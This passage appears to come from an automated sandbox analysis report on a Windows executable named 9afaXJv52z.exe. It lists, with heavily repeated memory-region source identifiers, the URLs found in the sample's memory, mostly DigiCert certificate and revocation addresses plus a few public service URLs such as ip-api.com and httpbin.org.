            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
            Source: svchost.exe, 0000003D.00000002.2504316046.000001B6AE200000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
            Source: select.pyd.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digice
            Source: 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCer
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
            Source: 9afaXJv52z.exe, 00000002.00000002.1570103074.0000020DADA70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
            Source: edb.log.61.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
            Source: 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADE66000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1555260305.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1570923303.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://httpbin.org/post
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ip-api.com/json
            Source: 9afaXJv52z.exe, 00000002.00000003.1549987255.0000020DAD9A5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://json.org
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245247870.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249826162.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244334483.00000170C08E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
            Source: 9afaXJv52z.exe, 00000000.00000003.1249086752.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249492871.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249717286.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250272952.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244115829.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244442453.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1251123271.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244934313.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244562675.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245025869.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250812728.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245362425.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08F2000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244016171.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245483808.00000170C08F0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1245140379.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244644310.00000170C08E3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1250672887.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1244809327.00000170C08F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
            Source: 9afaXJv52z.exe, 00000000.00000003.1249389490.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0O
